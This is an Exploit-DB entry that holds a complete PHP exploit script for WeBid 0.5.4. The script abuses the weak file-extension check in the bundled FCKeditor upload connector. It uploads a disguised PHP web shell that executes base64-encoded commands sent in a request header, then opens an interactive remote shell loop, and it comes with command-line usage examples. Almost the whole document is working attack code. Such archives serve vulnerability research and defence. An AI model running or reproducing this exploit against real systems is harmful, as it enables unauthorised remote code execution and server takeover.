Exploit-DB #6344
Description: WeBid 0.5.4 - 'FCKeditor' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-09-01
Author: Stack

Exploit:
<?php
/*
 -----------------------------------------------------------------
 WeBid v0.5.4 (fckeditor) Remote Arbitrary File Upload Exploit
 -----------------------------------------------------------------
 
 author...: Stack
 
 [-] vulnerable code in /fck/editor/filemanager/browser/mcpuk/connectors/php/config.php
 
 121. //File Area
 122. $fckphp_config['ResourceAreas']['File'] =array(
 123.  
 124.  //Files(identified by extension) that may be uploaded to this area
 125.  'AllowedExtensions' => array("zip","doc","xls","pdf","rtf","csv","jpg","gif","jpeg","png","avi","mpg","mpeg","swf","fla"),
 
 with a default configuration of this script, an attacker might be able to upload arbitrary
 files containing malicious PHP code due to multiple file extensions isn't properly checked
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
 $sock = fsockopen($host, 80);
 while (!$sock)
 {
  print "\n[-] No response from {$host}:80 Trying again...";
  $sock = fsockopen($host, 80);
 }
 fputs($sock, $packet);
 while (!feof($sock)) $resp .= fread($sock, 1024);
 fclose($sock);
 return $resp;
}
function upload()
{
 global $host, $path;
 
 $connector = "fck/editor/filemanager/browser/mcpuk/connectors/php/connector.php";
 $file_ext  = array("zip", "swf", "fla", "doc", "xls", "rtf", "csv");
 
 foreach ($file_ext as $ext)
 {
  print "\n[-] Trying to upload with .{$ext} extension...";
  
  $data  = "--12345\r\n";
  $data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"sh.php.{$ext}\"\r\n";
  $data .= "Content-Type: application/octet-stream\r\n\r\n";
  $data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\r\n";
  $data .= "--12345--\r\n";
  
  $packet  = "POST {$path}{$connector}?Command=FileUpload&CurrentFolder={$path} HTTP/1.0\r\n";
  $packet .= "Host: {$host}\r\n";
  $packet .= "Content-Length: ".strlen($data)."\r\n";
  $packet .= "Content-Type: multipart/form-data; boundary=12345\r\n";
  $packet .= "Connection: close\r\n\r\n";
  $packet .= $data;
  
  preg_match("/OnUploadCompleted\((.*),'(.*)'\)/i", http_send($host, $packet), $html);
  
  if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]}: {$html[2]})\n");
  
  $packet  = "GET {$path}sh.php.{$ext} HTTP/1.0\r\n";
  $packet .= "Host: {$host}\r\n";
  $packet .= "Connection: close\r\n\r\n";
  $html    = http_send($host, $packet);
  
  if (!eregi("print", $html) and eregi("_code_", $html)) return $ext;
  
  sleep(1);
 }
 
 return false;
}
print "\n+--------------------------------------------------------------------+";
print "\n|WeBid v0.5.4 (fckeditor) Remote Arbitrary File Upload Exploit by Stack|";
print "\n+--------------------------------------------------------------------+\n";
if ($argc < 3)
{
 print "\nUsage......: php $argv[0] host path\n";
 print "\nExample....: php $argv[0] localhost /";
 print "\nExample....: php $argv[0] localhost /WeBid/\n";
 die();
}
$host = $argv[1];
$path = $argv[2];
if (!($ext = upload())) die("\n\n[-] Exploit failed...\n");
else print "\n[-] Shell uploaded...starting it!\n";
define(STDIN, fopen("php://stdin", "r"));
while(1)
{
 print "\nStack-shell# ";
 $cmd = trim(fgets(STDIN));
 if ($cmd != "exit")
 {
  $packet = "GET {$path}sh.php.{$ext} HTTP/1.0\r\n";
  $packet.= "Host: {$host}\r\n";
  $packet.= "Cmd: ".base64_encode($cmd)."\r\n";
  $packet.= "Connection: close\r\n\r\n";
  $html   = http_send($host, $packet);
  if (!eregi("_code_", $html)) die("\n[-] Exploit failed...\n");
  $shell = explode("_code_", $html);
  print "\n{$shell[1]}";
 }
 else break;
}
?>

# milw0rm.com [2008-09-01]